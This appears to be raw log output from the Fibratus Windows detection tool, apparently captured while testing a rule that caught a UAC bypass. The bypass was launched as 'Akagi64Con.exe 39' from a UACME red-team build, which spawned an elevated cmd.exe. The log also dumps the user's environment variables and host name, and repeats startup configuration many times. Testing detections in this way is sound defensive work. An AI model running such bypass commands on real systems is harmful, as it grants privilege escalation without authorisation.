POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8b321ca8-4310-409d-9ff1-20a28ce4fd4f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 3992496 + Pid: 6704 + Tid: 14684 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-23 01:25:19.2718056 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3b1da2000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c4c6e0080, name➜ cmd.exe, pid➜ 19812, ppid➜ 6704, real_ppid➜ 6704, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-23 01:25:19.2718056 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler MMC DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 6704 + Ppid: 5280 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-23T01:27:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T01:27:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:27:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:28:40+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T01:28:40+01:00 level=info msg=bootstrapping with pid 15312. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T01:28:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] content-type=>text/html port=>25 use-template=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ flush-interval=>1s min-buffers=>16 enable-image=>true enable-net=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false buffer-size=>512 max-buffers=>36 enable-threadpool=>false enable-thread=>true enable-dns=>false enable-vamap=>true enable-fileio=>true stack-enrichment=>true enable-mem=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 max-backups=>15 level=>info formatter=>text] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus trace-log=>false gzip-compression=>false template-name=>fibratus sniff=>false healthcheck=>true timeout=>5s healthcheck-interval=>10s healthcheck-timeout=>5s bulk-workers=>1 enabled=>false] http=>[ timeout=>5s method=>POST tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false endpoints=>[] serializer=>json] amqp=>[ exchange-type=>topic durable=>false tls-insecure-skip-verify=>false vhost=>/ delivery-mode=>transient url=>amqp://localhost:5672 timeout=>5s exchange=>fibratus routing-key=>fibratus passive=>false enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s skip-files=>false excluded-procs=>[] fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-mmaps=>false skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-23T01:28:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:28:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:32:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T01:32:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:32:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:34:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T01:34:10+01:00 level=info msg=bootstrapping with pid 11584. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T01:34:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-net=>true enable-threadpool=>false enable-registry=>true max-buffers=>36 min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-handle=>false stack-enrichment=>true enable-mem=>false buffer-size=>512 enable-image=>true enable-audit-api=>true enable-fileio=>true enable-vamap=>true enable-dns=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text max-backups=>15 log-stdout=>true max-age=>0 level=>info] + output ......................... [ amqp=>[ delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 passive=>false tls-insecure-skip-verify=>false vhost=>/ durable=>false timeout=>5s exchange=>fibratus exchange-type=>topic routing-key=>fibratus] http=>[ timeout=>5s tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false endpoints=>[] serializer=>json method=>POST] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ trace-log=>false healthcheck=>true timeout=>5s bulk-workers=>1 healthcheck-timeout=>5s sniff=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s template-name=>fibratus gzip-compression=>false enabled=>false flush-period=>1s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false enabled=>false skip-mmaps=>false fastscan=>true scan-timeout=>10s skip-registry=>false skip-files=>false excluded-procs=>[] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-23T01:34:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:34:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:34:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T01:34:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:34:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:37:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T01:37:44+01:00 level=info msg=bootstrapping with pid 18376. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T01:37:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] content-type=>text/html enabled=>false port=>25] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-thread=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-vamap=>true enable-registry=>true min-buffers=>16 enable-threadpool=>false enable-audit-api=>true buffer-size=>512 stack-enrichment=>true enable-dns=>false enable-net=>true flush-interval=>1s enable-fileio=>true enable-handle=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true formatter=>text max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ timeout=>5s tls-insecure-skip-verify=>false enabled=>false url=>amqp://localhost:5672 passive=>false routing-key=>fibratus delivery-mode=>transient vhost=>/ exchange-type=>topic durable=>false exchange=>fibratus] elasticsearch=>[ flush-period=>1s healthcheck=>true bulk-workers=>1 sniff=>false gzip-compression=>false timeout=>5s healthcheck-timeout=>5s trace-log=>false enabled=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-interval=>10s index-name=>fibratus] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] http=>[ method=>POST serializer=>json enabled=>false timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[]]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true skip-mmaps=>false scan-timeout=>10s skip-registry=>false excluded-files=>[] excluded-procs=>[] enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T01:37:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:37:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:39:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T01:39:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:39:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:39:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T01:39:22+01:00 level=info msg=bootstrapping with pid 15208. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T01:39:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false use-template=>true port=>25 to=>[]] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-mem=>false enable-vamap=>true enable-threadpool=>false enable-thread=>true enable-net=>true flush-interval=>1s enable-image=>true buffer-size=>512 enable-registry=>true enable-dns=>false enable-handle=>false enable-audit-api=>true enable-fileio=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info log-stdout=>true max-size=>100 max-age=>0 formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] http=>[ enabled=>false serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s endpoints=>[] method=>POST] amqp=>[ tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus enabled=>false delivery-mode=>transient durable=>false timeout=>5s exchange-type=>topic url=>amqp://localhost:5672 passive=>false exchange=>fibratus] elasticsearch=>[ healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1 healthcheck-interval=>10s timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false index-name=>fibratus healthcheck=>true sniff=>false gzip-compression=>false enabled=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false excluded-procs=>[] enabled=>false fastscan=>true skip-registry=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-23T01:39:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:39:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:39:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T01:39:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:39:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:42:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T01:42:22+01:00 level=info msg=bootstrapping with pid 8660. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T01:42:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-dns=>false enable-handle=>false enable-thread=>true enable-threadpool=>false enable-image=>true enable-registry=>true enable-fileio=>true max-buffers=>36 min-buffers=>16 stack-enrichment=>true enable-net=>true enable-mem=>false enable-vamap=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false enabled=>false endpoints=>[] serializer=>json timeout=>5s] elasticsearch=>[ timeout=>5s index-name=>fibratus enabled=>false healthcheck-timeout=>5s bulk-workers=>1 flush-period=>1s template-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] trace-log=>false gzip-compression=>false healthcheck-interval=>10s healthcheck=>true] amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s passive=>false vhost=>/ exchange=>fibratus delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus durable=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-allocs=>false excluded-files=>[] scan-timeout=>10s skip-mmaps=>false fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T01:42:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:42:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:42:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T01:42:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:42:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:43:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-23T01:43:53+01:00 level=info msg=bootstrapping with pid 14116. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T01:43:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false port=>25 use-template=>true to=>[]] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-handle=>false enable-dns=>false enable-mem=>false enable-image=>true enable-thread=>true enable-registry=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true min-buffers=>16 max-buffers=>36 enable-vamap=>true flush-interval=>1s enable-audit-api=>true enable-net=>true enable-fileio=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-backups=>15 max-size=>100 formatter=>text level=>info] + output ......................... [ http=>[ enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s endpoints=>[] method=>POST serializer=>json] amqp=>[ delivery-mode=>transient passive=>false tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ durable=>false enabled=>false exchange-type=>topic routing-key=>fibratus url=>amqp://localhost:5672 timeout=>5s] elasticsearch=>[ bulk-workers=>1 trace-log=>false flush-period=>1s timeout=>5s gzip-compression=>false enabled=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus sniff=>false healthcheck=>true healthcheck-timeout=>5s healthcheck-interval=>10s index-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ 